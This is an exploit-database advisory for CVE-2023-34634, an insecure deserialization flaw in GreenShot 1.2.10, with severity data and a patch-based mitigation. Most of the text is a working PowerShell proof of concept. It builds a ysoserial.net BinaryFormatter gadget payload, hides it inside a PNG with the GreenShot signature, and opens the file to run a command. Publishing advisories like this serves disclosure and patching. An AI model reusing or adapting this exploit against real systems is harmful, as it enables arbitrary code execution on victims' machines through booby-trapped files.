GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution

vendor:

GreenShot

by:

p4r4bellum

7.8

CVSS

HIGH

Insecure Deserialization

502

CWE

Product Name: GreenShot

Affected Version From: 1.2.10

Affected Version To: 1.2.10

Patch Exists: YES

Related CWE: CVE-2023-34634

CPE: a:greenshot_project:greenshot:1.2.10

Metasploit:

Other Scripts:

Platforms Tested: Windows 10.0.19045

2023

GreenShot 1.2.10 – Insecure Deserialization Arbitrary Code Execution

GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format. A stream of .Net object is serialized and insecurely deserialized when a *.greenshot file is open with the software. On a default install, the *.greenshot file extension is associated with the program, so double-click on a *.greenshot file will lead to arbitrary code execution.

Mitigation:

Update to a patched version of GreenShot (1.2.11 or above) that addresses the insecure deserialization vulnerability. Avoid opening untrusted *.greenshot files.

Source

Exploit-DB raw data:

# Exploit Title: GreenShot  1.2.10 - Insecure Deserialization Arbitrary Code Execution
# Date: 26/07/2023
# Exploit Author: p4r4bellum
# Vendor Homepage: https://getgreenshot.org
# Software Link: https://getgreenshot.org/downloads/
# Version: 1.2.6.10
# Tested on: windows 10.0.19045 N/A build 19045
# CVE : CVE-2023-34634
#
# GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format
# A stream of .Net object is serialized and inscureley deserialized when a *.greenshot file is open with the software
# On a default install the *.greenshot file extension is associated with the programm, so double-click on a*.greenshot file
# will lead to arbitrary code execution
#
# Generate the payload. You need yserial.net to be installed on your machine. Grab it at https://github.com/pwntester/ysoserial.net
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity  -c "calc" --outputpath payload.bin -o raw
#load the payload
$payload = Get-Content .\payload.bin -Encoding Byte
# retrieve the length of the payload
$length = $payload.Length
# load the required assembly to craft a PNG file
Add-Type -AssemblyName System.Drawing
# the following lines creates a png file with some text. Code borrowed from https://stackoverflow.com/questions/2067920/can-i-draw-create-an-image-with-a-given-text-with-powershell
$filename = "$home\poc.greenshot"
$bmp = new-object System.Drawing.Bitmap 250,61 
$font = new-object System.Drawing.Font Consolas,24 
$brushBg = [System.Drawing.Brushes]::Green 
$brushFg = [System.Drawing.Brushes]::Black 
$graphics = [System.Drawing.Graphics]::FromImage($bmp) 
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) 
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10) 
$graphics.Dispose() 
$bmp.Save($filename) 

# append the payload to the PNG file
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline 
# append the length of the payload
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding  Byte -NoNewline
# append the signature
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii
# launch greenshot. Calc.exe should be executed
Invoke-Item  $filename